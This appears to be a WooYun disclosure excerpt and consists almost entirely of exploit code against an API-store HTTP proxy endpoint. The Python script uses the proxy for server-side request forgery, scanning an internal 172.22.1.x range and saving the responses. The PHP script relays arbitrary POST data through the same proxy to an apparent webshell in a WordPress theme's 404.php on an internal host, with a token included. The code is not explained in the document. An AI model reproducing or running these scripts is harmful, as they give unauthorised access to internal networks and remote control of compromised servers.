WooYun.org

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import json
import traceback
import urllib
 
reload(sys)  
sys.setdefaultencoding('utf8')  
headers = {'cookie':'自己加上','Content-Type':'application/x-www-form-urlencoded; charset=UTF-8','X-Requested-With':'XMLHttpRequest','User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0'}
for i in range(1, 255):
    try:
        print i
        s = "172.22.1.%s" % (i)
        conn = httplib.HTTPConnection('apistore.baidu.com')
        conn.request(method='POST',
                     url="/astore/toolshttpproxysend",
                     body='reqMethod=GET&reqUrl=http%3A%2F%2F' + s +'&token=token',
                     headers=headers)
        msg = conn.getresponse().read()
        msg = json.loads(msg)
        if msg["retMsg"] == "success":
           print s
           f = open('rrrr.txt','ab+')
           f.write(s + '\r\n')
           f.write( urllib.unquote(msg["retData"]["responseHeader"]).replace('<br/>','\r\n') + '\r\n')
           f.write( urllib.unquote(msg["retData"]["responseBody"]).replace('<br/>','\r\n') + '\r\n\r\n')
           f.close()
        conn.close()
    except:
        print traceback.format_exc()
        pass

<?php 
$webshell="http://apistore.baidu.com/astore/toolshttpproxysend";
$data['reqMethod']='POST';
$data['reqUrl']='http://172.22.1.19/wp-content/themes/salient-new/404.php';
$data['token']='ae6e554399dd045278f4128312f13853';
$i = 0;
foreach($_POST as $key => $value)
{
 $data["reqBodyParams[$i][key]"]=$key;
 $data["reqBodyParams[$i][value]"]= urlencode( $value );
 $i++;
}
$data = http_build_query($data);   
$opts = array (   
'http' => array (   
'method' => 'POST',   
'header'=> "Content-type: application/x-www-form-urlencoded\r\nCookie: cookie\r\nX-Requested-With: XMLHttpRequest\r\nUser-Agent:Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0\r\n" .   
"Content-Length: " . strlen($data) . "\r\n",   
'content' => $data) 
); 
 
$context = stream_context_create($opts);   
$html = @file_get_contents($webshell, false, $context); 
$data = json_decode($html,true);
echo urldecode($data["retData"]["responseBody"]);
?>